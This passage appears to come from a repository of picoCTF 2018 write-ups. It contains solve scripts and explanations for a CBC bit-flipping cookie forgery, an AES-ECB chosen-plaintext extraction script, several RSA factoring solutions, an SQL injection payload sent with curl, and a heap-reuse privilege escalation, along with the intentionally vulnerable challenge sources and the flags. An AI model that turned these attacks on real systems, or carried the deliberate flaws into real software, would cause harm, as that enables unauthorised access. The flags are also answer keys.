AES.MODE_CBC, iv) 83 | return b64encode(iv + cipher.encrypt(raw)) 84 | 85 | def decrypt(self, enc): 86 | enc = b64decode(enc) 87 | iv = enc[:16] 88 | cipher = AES.new(self.key, AES.MODE_CBC, iv) 89 | return unpad(cipher.decrypt(enc[16:])).decode('utf8') 90 | 91 | if __name__ == "__main__": 92 | app.run() 93 | -------------------------------------------------------------------------------- /Solved/Secure_Logon/solve.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | import binascii 3 | import base64 4 | import json 5 | 6 | BLOCK_SIZE = 16 # Bytes 7 | pad = lambda s: s + (BLOCK_SIZE - len(s) % BLOCK_SIZE) * \ 8 | chr(BLOCK_SIZE - len(s) % BLOCK_SIZE).encode() 9 | unpad = lambda s: s[:-ord(s[len(s) - 1:])] 10 | 11 | def xor_zip_bytes(bytearray1, bytearray2): 12 | final = b'' 13 | for a, b in zip(bytearray1, bytearray2): 14 | final += bytes([a ^ b]) 15 | return final 16 | 17 | # initial data 18 | cookie = "NqOtxYG8kL09alb9GtCw8VDdfd+2CEcFSTp7NtM8wx57jtHbBLD3RL7dGfWylX3A8P3LortMHUa0NTzKLeegf4tSG6JSunf7IzXdKWIAukM=" 19 | cookie_dict = {'admin': 0, 'password': 'hi', 'username': 'hi'} 20 | 21 | # original values 22 | ciphertext = base64.b64decode(cookie) 23 | plaintext = json.dumps(cookie_dict, sort_keys=True).encode() 24 | plaintext = pad(plaintext) 25 | 26 | # Check length is same 27 | assert len(ciphertext) - 16 == len(plaintext) # 16 bytes longer because of IV prepended 28 | 29 | # target value 30 | cookie_dict['admin'] = 1 31 | new_plaintext = json.dumps(cookie_dict, sort_keys=True).encode() 32 | new_plaintext = pad(new_plaintext) 33 | 34 | # calculate new value 35 | # extra block because of IV 36 | delta = xor_zip_bytes(plaintext, new_plaintext) 37 | delta += b'\x00' * (BLOCK_SIZE * 1) 38 | 39 | new_ciphertext = xor_zip_bytes(delta, ciphertext) 40 | new_cookie = base64.b64encode(new_ciphertext) 41 | 42 | ''' 43 | print(plaintext) 44 | print(new_plaintext) 45 | print(ciphertext) 46 | print(new_ciphertext) 47 | ''' 48 | 49 | print("New Cookie:") 50 | print("session="+new_cookie.decode()) 51 | 52 | -------------------------------------------------------------------------------- /Solved/SpyFi/README.md: -------------------------------------------------------------------------------- 1 | # SpyFi 2 | Cryptography - 300 points 3 | 4 | ## Challenge 5 | > James Brahm, James Bond's less-franchised cousin, has left his secure communication with HQ running, but we couldn't find a way to steal his agent identification code. Can you? 6 | 7 | > Conect with nc 2018shell2.picoctf.com 30399. [Source.](spy_terminal_no_flag.py) 8 | 9 | ## Hint 10 | > What mode is being used? 11 | 12 | 13 | ## Solution 14 | We know that we can control the payload, followed by AES-ECB encryption. Hence, we can do a Chosen Plaintext attack using AES-ECB. 15 | 16 | I have done this before in [CSAW CTF 2017 - Babycrypt](https://github.com/zst123/csaw_ctf-2017-writeups/tree/master/baby_crypt) 17 | 18 | --- 19 | 20 | So let's look at the encrypted message 21 | 22 | message = """Agent, 23 | Greetings. My situation report is as follows: 24 | {0} 25 | My agent identifying code is: {1}. 26 | Down with the Soviets, 27 | 006 28 | """.format( sitrep, agent_code ) 29 | 30 | We know that `[53 bytes] + [payload] + [31 bytes] + [flag] + [...]`. 31 | 32 | Since 84 bytes are provided by us, let's round it up to the nearest multiple of 16 bytes, which is 96 bytes or 6 blocks. 33 | 34 | **This gives us a padding of 12 bytes** 35 | 36 | --- 37 | 38 | A simple AES-ECB attack has the payload on the 0th block and the flag on the 1st block, so in this case we can conduct our attack from the 6th block as the payload and the 7th block as the flag. 39 | 40 | So at the start, it should be 7 blocks wide or indexes 0 through 6. 41 | 42 | [53 bytes] + [12 byte: padding] + [16 byte: payload] + [31 bytes] 43 | 44 | Block 3: 'ows:\nxxxxxxxxxxx' 45 | Block 4: 'xAAAAAAAAAAAAAAA' 46 | Block 5: 'A\nMy agent ident' 47 | Block 6: 'ifying code is: ' 48 | 49 | After which we retrieve the first char of the flag by reducing the payload to 15 bytes. 50 | 51 | [53 bytes] + [12 byte: padding] + [15 byte: payload] + [31 bytes] + [1 byte of flag] 52 | 53 | Block 4: 'xAAAAAAAAAAAAAAA' <-- padding + 15 bytes of the payload 54 | Block 5: '\nMy agent identi' 55 | Block 6: 'fying code is: X' <-- X in place of actual flag value 56 | 57 | We now store the value of block 6 which has the first char of the flag. 58 | 59 | --- 60 | 61 | Now we need to compare a chosen plaintext to that block 6 saved. 62 | 63 | We do this by adding our chosen dummy text which is exactly the same as the server text. 64 | 65 | [53 bytes] + [12 byte: payload] + [15 byte: payload] + [31 byte: chosen dummy] + [31 bytes: actual] + [1 byte of flag] 66 | 67 | Block 4: 'xAAAAAAAAAAAAAAA' 68 | Block 5: '\nMy agent identi' 69 | Block 6: 'fying code is: X' <-- our dummy text, were X is iterated through all of charset 70 | Block 7: '\nMy agent identi' <-- of server, can be ignored 71 | Block 8: 'fying code is: X' <-- of server, can be ignored 72 | 73 | So we can bruteforce for that respective char such that 74 | 75 | [31 byte: chosen dummy] == [31 bytes: actual] + [1 byte of flag] 76 | 77 | --- 78 | 79 | After a few iterations, it will look similar to this 80 | 81 | Block 4: 'xAAAAAAAAA\nMy ag' 82 | Block 5: 'ent identifying ' 83 | Block 6: 'code is: picoCTF' <-- The flag is slowly being extracted 84 | Block 7: '\nMy agent identi' <-- of server, can be ignored 85 | Block 8: 'fying code is: X' <-- of server, can be ignored 86 | 87 | 88 | ## Flag 89 | 90 | $ python3 aes-bruteforce.py 91 | ... 92 | Success! picoCTF{@g3nt6_1$_th3_c00l3$t_8220250} 93 | -------------------------------------------------------------------------------- /Solved/SpyFi/aes-bruteforce.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | import socket 3 | import string 4 | import re 5 | from multiprocessing.pool import ThreadPool 6 | 7 | charset = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&\'()*+,-./:;<=>?@[\\]^_`{|}~ ' 8 | 9 | def attempt(tag, payload, block_number=0): 10 | s = socket.socket() 11 | s.connect(('2018shell2.picoctf.com', 30399)) 12 | 13 | # Assert length 14 | ''' 15 | message = """Agent, 16 | Greetings. My situation report is as follows: 17 | {0} 18 | My agent identifying code is: """.format(payload) 19 | assert (len(message) - (block_number + 1) * 16) <= 1, len(message) 20 | # print(payload) 21 | ''' 22 | 23 | # retrieve char 24 | while True: 25 | data = s.recv(4096).decode().strip() 26 | if not data: 27 | continue 28 | #print("Received >>", data) 29 | 30 | if 'Welcome, Agent 006!' in data: 31 | pass 32 | elif 'Please enter your situation report:' in data: 33 | s.send(payload.encode()) 34 | s.send(b'\n') 35 | else: 36 | return (tag, data[block_number * 32 : block_number * 32 + 32]) 37 | 38 | 39 | def main(progress='', block_number=0): 40 | # My agent identifying code is: 41 | block = 'A' * 16 42 | assert len(block) == 16 43 | 44 | for skip in range(16): 45 | # padding to round to nearest block 46 | # 96 bytes rounded up from 84 bytes provided 47 | padding = "x" * (96-53-31) 48 | prefix = padding + block[skip+1:] 49 | 50 | # Enter 15 characters and retrieve the first 16 encoded 51 | _, aim = attempt('', prefix, block_number) 52 | 53 | pool = ThreadPool(processes=25) 54 | async_results = [] 55 | 56 | # Then enter 16 characters changing the last one until you get the 57 | # same result as with 15 characters for the first 16 encoded bytes 58 | for ch in charset: 59 | # dummy to duplicate the uncontrolled blocks 60 | # 96 bytes rounded up from 84 bytes provided 61 | dummy = '\nMy agent identifying code is: '.replace('\n', 'n') # server can't receive newline 62 | payload = prefix + dummy + progress + ch 63 | 64 | async_result = pool.apply_async(attempt, (ch, payload, block_number)) 65 | async_results.append(async_result) 66 | 67 | # That 16th character is the first character of your secret. 68 | # You can then repeat the process by putting 14 characters and then 69 | # finding the second secret characters with the same thechnique. 70 | for async_result in async_results: 71 | ch, result = async_result.get() 72 | print(f"Result: {ch}, {result} == {aim}") 73 | 74 | if result == aim: 75 | progress += ch 76 | if ch == '}': 77 | # end of flag! if we continue we 78 | # merely get '0's added forever 79 | print(f"Success! {progress}") 80 | quit() 81 | break 82 | 83 | print(f"Progress (Block {block_number} of index {skip}): {progress}") 84 | 85 | # continue to next block 86 | main(progress, block_number + 1) 87 | 88 | if __name__ == '__main__': 89 | # 96 bytes rounded up from 84 bytes provided 90 | # so we mask out the first 6 blocks 91 | main(block_number=6) -------------------------------------------------------------------------------- /Solved/SpyFi/spy_terminal_no_flag.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python2 -u 2 | from Crypto.Cipher import AES 3 | 4 | agent_code = """flag""" 5 | 6 | def pad(message): 7 | if len(message) % 16 != 0: 8 | message = message + '0'*(16 - len(message)%16 ) 9 | return message 10 | 11 | def encrypt(key, plain): 12 | cipher = AES.new( key.decode('hex'), AES.MODE_ECB ) 13 | return cipher.encrypt(plain).encode('hex') 14 | 15 | welcome = "Welcome, Agent 006!" 16 | print welcome 17 | 18 | sitrep = raw_input("Please enter your situation report: ") 19 | message = """Agent, 20 | Greetings. My situation report is as follows: 21 | {0} 22 | My agent identifying code is: {1}. 23 | Down with the Soviets, 24 | 006 25 | """.format( sitrep, agent_code ) 26 | 27 | message = pad(message) 28 | print encrypt( """key""", message ) 29 | -------------------------------------------------------------------------------- /Solved/Super_Safe_RSA/README.md: -------------------------------------------------------------------------------- 1 | # Super Safe RSA 2 | Cryptography - 350 points 3 | 4 | ## Challenge 5 | > Dr. Xernon made the mistake of rolling his own crypto.. Can you find the bug and decrypt the message? Connect with nc 2018shell2.picoctf.com 3609. 6 | 7 | 8 | ## Hint 9 | > Just try the first thing that comes to mind. 10 | 11 | 12 | ## Solution 13 | 14 | Try out the server 15 | 16 | ~ $ nc 2018shell2.picoctf.com 3609 17 | c: 19186016582318064428291303425902140901883296951420146438700416985707104860040269 18 | n: 22104805049219253595688155381445306328126758057554593510365000451311355387636863 19 | e: 65537 20 | 21 | I tried all other attacks and it didn't work so I figured out that the solution was to factorise it. 22 | 23 | ### Factorising using YAFU 24 | 25 | # git clone https://github.com/tamnil/yafu-prime-sieve 26 | # cd yafu-prime-sieve/ 27 | # ./yafu 28 | 29 | 10/07/18 05:51:29 v1.34.5 @ zst_ctf, System/Build Info: 30 | Using GMP-ECM 6.4.4, Powered by GMP 5.1.1 31 | detected Intel(R) Core(TM) i5-7267U CPU @ 3.10GHz 32 | detected L1 = 32768 bytes, L2 = 4194304 bytes, CL = 64 bytes 33 | measured cpu frequency ~= 3092.435630 34 | using 20 random witnesses for Rabin-Miller PRP checks 35 | 36 | =============================================================== 37 | ======= Welcome to YAFU (Yet Another Factoring Utility) ======= 38 | ======= bbuhrow@gmail.com ======= 39 | ======= Type help at any time, or quit to quit ======= 40 | =============================================================== 41 | cached 78498 primes. pmax = 999983 42 | 43 | 44 | >> factor(22104805049219253595688155381445306328126758057554593510365000451311355387636863) 45 | 46 | fac: factoring 22104805049219253595688155381445306328126758057554593510365000451311355387636863 47 | fac: using pretesting plan: normal 48 | fac: no tune info: using qs/gnfs crossover of 95 digits 49 | div: primes less than 10000 50 | rho: x^2 + 3, starting 1000 iterations on C80 51 | rho: x^2 + 2, starting 1000 iterations on C80 52 | rho: x^2 + 1, starting 1000 iterations on C80 53 | pm1: starting B1 = 150K, B2 = gmp-ecm default on C80 54 | ecm: 30/30 curves on C80, B1=2K, B2=gmp-ecm default 55 | ecm: 74/74 curves on C80, B1=11K, B2=gmp-ecm default 56 | ecm: 188/188 curves on C80, B1=50K, B2=gmp-ecm default, ETA: 0 sec 57 | 58 | starting SIQS on c80: 22104805049219253595688155381445306328126758057554593510365000451311355387636863 59 | 60 | ==== sieving in progress (1 thread): 46016 relations needed ==== 61 | ==== Press ctrl-c to abort and save state ==== 62 | 46091 rels found: 23638 full + 22453 from 238596 partial, (1545.39 rels/sec) 63 | 64 | SIQS elapsed time = 171.6340 seconds. 65 | Total factoring time = 190.5530 seconds 66 | 67 | 68 | ***factors found*** 69 | 70 | P39 = 144258603536574599963220429490269382037 71 | P42 = 153230410577313765737534565937792115989699 72 | 73 | ans = 1 74 | 75 | Now plug the `p` and `q` values into any typical RSA script and decrypt the ciphertext 76 | 77 | 78 | ## Flag 79 | 80 | $ python3 solve.py 81 | picoCTF{us3_l@rg3r_pr1m3$_1335} 82 | -------------------------------------------------------------------------------- /Solved/Super_Safe_RSA/collect-test-failed/collect.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | import socket 3 | from queue import Queue 4 | from threading import Thread, Lock 5 | import time 6 | 7 | THREADS = 100 8 | 9 | lock = Lock() 10 | 11 | def write_file(txt): 12 | global lock 13 | with lock: 14 | with open("out.txt", "a") as f: 15 | f.write(txt) 16 | 17 | 18 | def process(q): 19 | while True: 20 | print("Doing", q.get()) 21 | while True: 22 | try: 23 | s = socket.socket() 24 | s.connect(('2018shell2.picoctf.com', 3609)) 25 | 26 | data = s.recv(4096).decode().strip() 27 | if data: 28 | write_file(data.replace(":", " =") + "\n\n") 29 | q.task_done() 30 | break 31 | except: 32 | time.sleep(1) 33 | 34 | 35 | def start_threads(): 36 | queue = Queue(maxsize=0) 37 | 38 | for i in range(THREADS): 39 | worker = Thread(target=process, args=(queue,)) 40 | worker.setDaemon(True) 41 | worker.start() 42 | 43 | for i in range(65600): 44 | queue.put(i) 45 | queue.join() 46 | 47 | 48 | if __name__ == '__main__': 49 | start_threads() 50 | -------------------------------------------------------------------------------- /Solved/Super_Safe_RSA/collect-test-failed/collect_slow.sh: -------------------------------------------------------------------------------- 1 | for value in {1..65600}; do 2 | echo "Collecting $value" 3 | nc 2018shell2.picoctf.com 3609 | sed 's/:/ =/g' >> out.txt 4 | echo >> out.txt 5 | done 6 | 7 | 8 | -------------------------------------------------------------------------------- /Solved/Super_Safe_RSA/solve.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | # https://gist.github.com/ofaurax/6103869014c246f962ab30a513fb5b49 4 | # Took from SO 5 | def egcd(a, b): 6 | if a == 0: 7 | return (b, 0, 1) 8 | g, y, x = egcd(b%a,a) 9 | return (g, x - (b//a) * y, y) 10 | 11 | def modinv(a, m): 12 | g, x, y = egcd(a, m) 13 | if g != 1: 14 | raise Exception('No modular inverse') 15 | return x%m 16 | 17 | # given 18 | c = 19186016582318064428291303425902140901883296951420146438700416985707104860040269 19 | n = 22104805049219253595688155381445306328126758057554593510365000451311355387636863 20 | e = 65537 21 | 22 | # https://en.wikipedia.org/wiki/RSA_numbers#RSA-768 23 | p = 144258603536574599963220429490269382037 24 | q = 153230410577313765737534565937792115989699 25 | 26 | 27 | phi = (p - 1) * (q - 1) 28 | d = modinv(e, phi) 29 | 30 | m = pow(c, d, n) 31 | 32 | msg = bytes.fromhex(hex(m)[2:]).decode() 33 | print(msg) 34 | -------------------------------------------------------------------------------- /Solved/Super_Safe_RSA_2/README.md: -------------------------------------------------------------------------------- 1 | # Super Safe RSA 2 2 | Cryptography - 425 points 3 | 4 | ## Challenge 5 | > Wow, he made the exponent really large so the encryption MUST be safe, right?! Connect with nc 2018shell2.picoctf.com 29661. 6 | 7 | 8 | ## Hint 9 | > What is the usual value for e? 10 | 11 | 12 | ## Solution 13 | 14 | Wiener Attack 15 | 16 | https://github.com/zst123/easyctf_iv-2018-writeups/tree/master/Solved/RSA_v 17 | 18 | ## Flag 19 | 20 | picoCTF{w@tch_y0ur_Xp0n3nt$_c@r3fu11y_5495627} -------------------------------------------------------------------------------- /Solved/Super_Safe_RSA_3/README.md: -------------------------------------------------------------------------------- 1 | # Super Safe RSA 3 2 | Cryptography - 600 points 3 | 4 | ## Challenge 5 | > The more primes, the safer.. right.?.? Connect with nc 2018shell2.picoctf.com 54915. 6 | 7 | ## Hint 8 | > How would you find d if there are more than 2 prime factors of n? 9 | 10 | ## Solution 11 | 12 | Get the values from the server 13 | 14 | $ nc 2018shell2.picoctf.com 54915 15 | 16 | c: 7455329383143038957429716815165500715158261560971896601396739132805957525166191202455760978408719432329362021224459206704248836452011818476672175430764537075040063368230228365358727043987687964871609661287101362363672847396656546249922690106513698797211955466172034302181014173372680092234399540927971670 17 | n: 8520637787114918832237015248786294009169540917255965331119398471430390846334537463412527582570236972202263403305377799932127000612183588324716119238697948964827609505124731694163461569741661957620860552493085730019676068317580085380871714045570573263756460672395119961317987254629107413356208040537606803 18 | e: 65537 19 | 20 | Using YAFU took about 2 seconds to factor. We see that it consists of many primes. 21 | 22 | >> factor(8520637787114918832237015248786294009169540917255965331119398471430390846334537463412527582570236972202263403305377799932127000612183588324716119238697948964827609505124731694163461569741661957620860552493085730019676068317580085380871714045570573263756460672395119961317987254629107413356208040537606803) 23 | P10 = 2995933781 24 | P10 = 3834414293 25 | C29 = 29016696161674138919369908219 26 | C19 = 9572493988312872677 27 | P10 = 2165051023 28 | C29 = 42605294858361493736155069859 29 | P10 = 2917169771 30 | P10 = 4105673113 31 | P10 = 2705398837 32 | P10 = 4136392301 33 | P10 = 2700707419 34 | P10 = 3734994139 35 | P10 = 2349776251 36 | P10 = 2625712321 37 | P10 = 4007479051 38 | P10 = 2636514667 39 | P10 = 4048500331 40 | P10 = 4012465003 41 | P10 = 3234818243 42 | P10 = 3639907571 43 | P10 = 2597208121 44 | P10 = 3435673511 45 | P10 = 2674573939 46 | P10 = 2960117663 47 | P10 = 4075003727 48 | P10 = 2758927781 49 | P10 = 2162211553 50 | 51 | And apparently it wasted a lot of my time but the `Cxx` results are not fully factored... 52 | 53 | >> factor(29016696161674138919369908219) 54 | P10 = 2768743379 55 | P10 = 3827198227 56 | P10 = 2738320643 57 | 58 | >> factor(9572493988312872677) 59 | P10 = 2985009899 60 | P10 = 3206855023 61 | 62 | >> factor(42605294858361493736155069859) 63 | P10 = 4128749161 64 | P10 = 3382545863 65 | P10 = 3050713213 66 | 67 | --- 68 | 69 | #### Multi-prime RSA 70 | 71 | Reference: 72 | 73 | - https://crypto.stackexchange.com/questions/44110/rsa-with-3-primes 74 | - https://crypto.stackexchange.com/questions/31109/rsa-enc-decryption-with-multiple-prime-modulus-using-crt/31112#31112 75 | - https://github.com/sonickun/ctf-crypto-writeups/blob/master/2015/security-camp/broken-rsa/solver.py 76 | - https://crypto.stackexchange.com/questions/5382/is-it-safer-to-encrypt-twice-with-rsa 77 | 78 | Using this formula, we can calculate phi 79 | 80 | phi = (p-1) * (q-1) * (r-1) * ... 81 | 82 | And then plug it into any typical RSA script to solve for d and decrypt. 83 | 84 | ## Flag 85 | 86 | $ python3 solve.py 87 | c = 7455329383143038957429716815165500715158261560971896601396739132805957525166191202455760978408719432329362021224459206704248836452011818476672175430764537075040063368230228365358727043987687964871609661287101362363672847396656546249922690106513698797211955466172034302181014173372680092234399540927971670 88 | n = 8520637787114918832237015248786294009169540917255965331119398471430390846334537463412527582570236972202263403305377799932127000612183588324716119238697948964827609505124731694163461569741661957620860552493085730019676068317580085380871714045570573263756460672395119961317987254629107413356208040537606803 89 | e = 65537 90 | d = 5569351009401155004021134575034747412724800331071788237792455916993059969100653421690306814783304136482570904211645932870481010062507457964736086404517576097218368770802637081903944838845215362790927908559086265403376004771299754446528510566482335725137312781766327307946613560836063821291008132810473473 91 | m = 0x7069636f4354467b705f265f715f6e305f725f245f7421215f333632303736327d 92 | picoCTF{p_&_q_n0_r_$_t!!_3620762} 93 | -------------------------------------------------------------------------------- /Solved/Super_Safe_RSA_3/solve.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | from Crypto.PublicKey import RSA 3 | from Crypto.Util import asn1 4 | import binascii 5 | 6 | c = 7455329383143038957429716815165500715158261560971896601396739132805957525166191202455760978408719432329362021224459206704248836452011818476672175430764537075040063368230228365358727043987687964871609661287101362363672847396656546249922690106513698797211955466172034302181014173372680092234399540927971670 7 | n = 8520637787114918832237015248786294009169540917255965331119398471430390846334537463412527582570236972202263403305377799932127000612183588324716119238697948964827609505124731694163461569741661957620860552493085730019676068317580085380871714045570573263756460672395119961317987254629107413356208040537606803 8 | e = 65537 9 | 10 | primes = [ 11 | 2995933781, 12 | 3834414293, 13 | # 29016696161674138919369908219, 14 | 2768743379, 3827198227, 2738320643, 15 | # 9572493988312872677, 16 | 2985009899, 3206855023, 17 | 2165051023, 18 | # 42605294858361493736155069859, 19 | 4128749161, 3382545863, 3050713213, 20 | 2917169771, 21 | 4105673113, 22 | 2705398837, 23 | 4136392301, 24 | 2700707419, 25 | 3734994139, 26 | 2349776251, 27 | 2625712321, 28 | 4007479051, 29 | 2636514667, 30 | 4048500331, 31 | 4012465003, 32 | 3234818243, 33 | 3639907571, 34 | 2597208121, 35 | 3435673511, 36 | 2674573939, 37 | 2960117663, 38 | 4075003727, 39 | 2758927781, 40 | 2162211553 41 | ] 42 | 43 | phi = 1 44 | for prime in primes: 45 | phi *= (prime-1) 46 | 47 | e = 65537 48 | 49 | # Took from SO 50 | def egcd(a, b): 51 | if a == 0: 52 | return (b, 0, 1) 53 | g, y, x = egcd(b%a,a) 54 | return (g, x - (b//a) * y, y) 55 | 56 | def modinv(a, m): 57 | g, x, y = egcd(a, m) 58 | if g != 1: 59 | raise Exception('No modular inverse') 60 | return x%m 61 | 62 | d = modinv(e, phi) 63 | 64 | 65 | # get plaintext 66 | m = pow(c, d, n) 67 | 68 | print("c =", c) 69 | print("n =", n) 70 | print("e =", e) 71 | print("d =", d) 72 | print("m =", hex(m)) 73 | 74 | def hex_pair(x): 75 | return ('0' * (len(x) % 2)) + x 76 | 77 | m_hex = '{:x}'.format(m) 78 | m_hex = hex_pair(m_hex) 79 | msg = binascii.unhexlify(m_hex) 80 | print(msg.decode(errors="ignore")) 81 | -------------------------------------------------------------------------------- /Solved/The_Vault/README.md: -------------------------------------------------------------------------------- 1 | # The Vault 2 | Web Exploitation - 250 points 3 | 4 | ## Challenge 5 | > There is a website running at http://2018shell2.picoctf.com:64349. Try to see if you can login! 6 | 7 | 8 | ## Solution 9 | 10 | Source code is provided on the website, [login.txt](login.txt) 11 | 12 | Simple SQL injection using payload of `' or 1=1--` 13 | 14 | $ curl http://2018shell2.picoctf.com:64349/login.php --data "username=derp&password=' or 1=1--&debug=1" 15 | 16 |
username: derp
17 | 	password: ' or 1=1--
18 | 	SQL query: SELECT 1 FROM users WHERE name='derp' AND password='' or 1=1--'
19 | 	

Logged in!

Your flag is: picoCTF{w3lc0m3_t0_th3_vau1t_e4ca2258}

20 | 21 | 22 | ## Flag 23 | 24 | picoCTF{w3lc0m3_t0_th3_vau1t_e4ca2258} -------------------------------------------------------------------------------- /Solved/The_Vault/login.txt: -------------------------------------------------------------------------------- 1 | "; 15 | echo "username: ", htmlspecialchars($username), "\n"; 16 | echo "password: ", htmlspecialchars($password), "\n"; 17 | echo "SQL query: ", htmlspecialchars($query), "\n"; 18 | echo ""; 19 | } 20 | 21 | //validation check 22 | $pattern ="/.*['\"].*OR.*/i"; 23 | $user_match = preg_match($pattern, $username); 24 | $password_match = preg_match($pattern, $username); 25 | if($user_match + $password_match > 0) { 26 | echo "

SQLi detected.

"; 27 | } 28 | else { 29 | $result = $con->query($query); 30 | $row = $result->fetchArray(); 31 | 32 | if ($row) { 33 | echo "

Logged in!

"; 34 | echo "

Your flag is: $FLAG

"; 35 | } else { 36 | echo "

Login failed.

"; 37 | } 38 | } 39 | 40 | ?> -------------------------------------------------------------------------------- /Solved/are_you_root/README.md: -------------------------------------------------------------------------------- 1 | # are you root? 2 | Binary Exploitation - 550 points 3 | 4 | ## Challenge 5 | > Can you get root access through this [service](auth) and get the flag? Connect with nc 2018shell2.picoctf.com 29508. [Source.](auth.c) 6 | 7 | ## Hint 8 | > If only the program used calloc to zero out the memory.. 9 | 10 | 11 | ## Solution 12 | 13 | We can only get the flag if the level is exactly 5. 14 | 15 | The level can be manipulated if we overflow the name as such... 16 | 17 | $ nc 2018shell2.picoctf.com 29508 18 | 19 | Available commands: 20 | show - show your current user and authorization level 21 | login [name] - log in as [name] 22 | set-auth [level] - set your authorization level (must be below 5) 23 | get-flag - print the flag (requires authorization level 5) 24 | reset - log out and reset authorization level 25 | quit - exit the program 26 | 27 | Enter your command: 28 | > login aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaezaafbaafcaafdaafeaaffaafgaafhaafiaafjaafkaaflaafmaafnaafoaafpaafqaafraafsaaftaafuaafvaafwaafxaafyaaf 29 | Logged in as "aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaezaafb" 30 | 31 | Enter your command: 32 | > show 33 | Logged in as aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaezaafb [0] 34 | 35 | Enter your command: 36 | > reset 37 | Logged out! 38 | 39 | Enter your command: 40 | > login A 41 | Logged in as "A" 42 | 43 | Enter your command: 44 | > show 45 | Logged in as A [1633771875] 46 | 47 | Enter your command: 48 | > get-flag 49 | Must have authorization level 5. 50 | 51 | From this, we see that `1633771875` = `0x61616163` or `caaa` can be used to replace with the level 5 52 | 53 | Level = 0x00000005 or '\x05\x00\x00\x00' 54 | 55 | Hence, username = 'aaaabaaa\x05\x00\x00\x00' 56 | 57 | Hence, we can now get our flag 58 | 59 | $ python -c "print 'login aaaabaaa\x05\x00\x00\x00'" > payload.txt 60 | $ python -c "print 'show'" >> payload.txt 61 | $ python -c "print 'reset'" >> payload.txt 62 | $ python -c "print 'login A'" >> payload.txt 63 | $ python -c "print 'show'" >> payload.txt 64 | $ python -c "print 'get-flag'" >> payload.txt 65 | $ cat payload.txt - | nc 2018shell2.picoctf.com 29508 66 | Available commands: 67 | show - show your current user and authorization level 68 | login [name] - log in as [name] 69 | set-auth [level] - set your authorization level (must be below 5) 70 | get-flag - print the flag (requires authorization level 5) 71 | reset - log out and reset authorization level 72 | quit - exit the program 73 | 74 | Enter your command: 75 | > Logged in as "aaaabaaa" 76 | 77 | Enter your command: 78 | > Logged in as aaaabaaa [0] 79 | 80 | Enter your command: 81 | > Logged out! 82 | 83 | Enter your command: 84 | > Logged in as "A" 85 | 86 | Enter your command: 87 | > Logged in as A [5] 88 | 89 | Enter your command: 90 | > picoCTF{m3sS1nG_w1tH_tH3_h43p_a5e65af1} 91 | 92 | 93 | ## Flag 94 | 95 | picoCTF{m3sS1nG_w1tH_tH3_h43p_a5e65af1} 96 | -------------------------------------------------------------------------------- /Solved/are_you_root/auth: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zst-ctf/picoctf-2018-writeups/d77f32fa23054a574ee19eb365432f33ca41668b/Solved/are_you_root/auth -------------------------------------------------------------------------------- /Solved/are_you_root/auth.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | typedef enum auth_level { 7 | ANONYMOUS = 1, 8 | GUEST = 2, 9 | USER = 3, 10 | ADMIN = 4, 11 | ROOT = 5 12 | } auth_level_t; 13 | 14 | struct user { 15 | char *name; 16 | auth_level_t level; 17 | }; 18 | 19 | void give_flag(){ 20 | char flag[48]; 21 | FILE *f = fopen("flag.txt", "r"); 22 | if (f == NULL) { 23 | printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n"); 24 | exit(0); 25 | } 26 | 27 | if ((fgets(flag, 48, f)) == NULL){ 28 | puts("Couldn't read flag file."); 29 | exit(1); 30 | }; 31 | 32 | puts(flag); 33 | fclose(f); 34 | } 35 | 36 | void menu(){ 37 | puts("Available commands:"); 38 | puts("\tshow - show your current user and authorization level"); 39 | puts("\tlogin [name] - log in as [name]"); 40 | puts("\tset-auth [level] - set your authorization level (must be below 5)"); 41 | puts("\tget-flag - print the flag (requires authorization level 5)"); 42 | puts("\treset - log out and reset authorization level"); 43 | puts("\tquit - exit the program"); 44 | } 45 | 46 | int main(int argc, char **argv){ 